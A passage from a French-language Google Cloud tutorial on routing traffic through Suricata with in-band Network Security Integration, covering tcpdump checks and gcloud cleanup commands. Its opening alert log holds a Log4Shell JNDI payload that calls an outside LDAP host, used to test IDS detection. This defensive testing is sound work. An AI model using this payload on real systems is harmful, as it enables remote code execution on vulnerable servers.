{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
De plus, les captures de paquets constituent un bon moyen d'afficher et de valider le trafic.
Cette commande filtrera les paquets GENEVE. Exemple de commande :
sudo tcpdump -i any -nn udp port 6081
Envoyez maintenant un peu de trafic de test à partir d'une VM cliente. Exemple de résultat :
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Notez qu'avec tcpdump, vous pouvez voir les en-têtes GENEVE. L'adresse IP source est celle de la passerelle du sous-réseau (10.0.0.1), et l'adresse IP de destination est celle de la règle de transfert (10.0.0.11 ou 10.0.0.12). Les paquets encapsulés contiennent les paquets d'origine (adresse IP du client consumer-$zonea (192.168.0.2) ou consumer-$zoneb (192.168.0.3) et la destination google.com). Cela confirme que les paquets sont interceptés et envoyés à l'appliance tierce via l'intégration de la sécurité réseau.
- Revenez à Cloud Shell en quittant la session SSH.
exit
Félicitations, Vous avez déployé et testé un environnement avec Network Security Integration (NSI) en bande.
5. Effectuer un nettoyage
Consommateur
Supprimez les VM consommatrices :
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Supprimez l'association et la stratégie de pare-feu :
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Supprimer un groupe de profils de sécurité et un profil de sécurité :
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Supprimez l'association de points de terminaison et les groupes de points de terminaison d'interception :
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Supprimer Cloud NAT, Cloud Router et l'adresse IP réservée
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Supprimer le VPC et les sous-réseaux
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Producteur
Supprimez les déploiements d'interception :
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Supprimez le groupe de déploiement d'interception (les déploiements d'interception doivent être supprimés avant que cette commande ne réussisse) :
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Supprimez les règles de transfert :
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Supprimez l'adresse IP réservée à la règle de transfert :
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Supprimez le service de backend :
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Supprimez les groupes d'instances non gérés :
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Supprimer la vérification de l'état :
gcloud compute health-checks delete nva-hc -q
Supprimez les VM de producteur :
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Supprimez Cloud NAT, Cloud Router et l'adresse IP réservée :
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Supprimez l'association de stratégie de pare-feu :
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Supprimez la stratégie de pare-feu :
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Supprimer le VPC et le sous-réseau
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Félicitations !
Bravo ! Vous avez terminé l'atelier de programmation sur l'intégration de la sécurité réseau en bande avec Suricata.
Regardez les vidéos de démonstration spécifiques aux fournisseurs pour l'intégration en bande de NSI :
Consultez certains guides de déploiement spécifiques aux fournisseurs qui peuvent être pertinents pour votre organisation :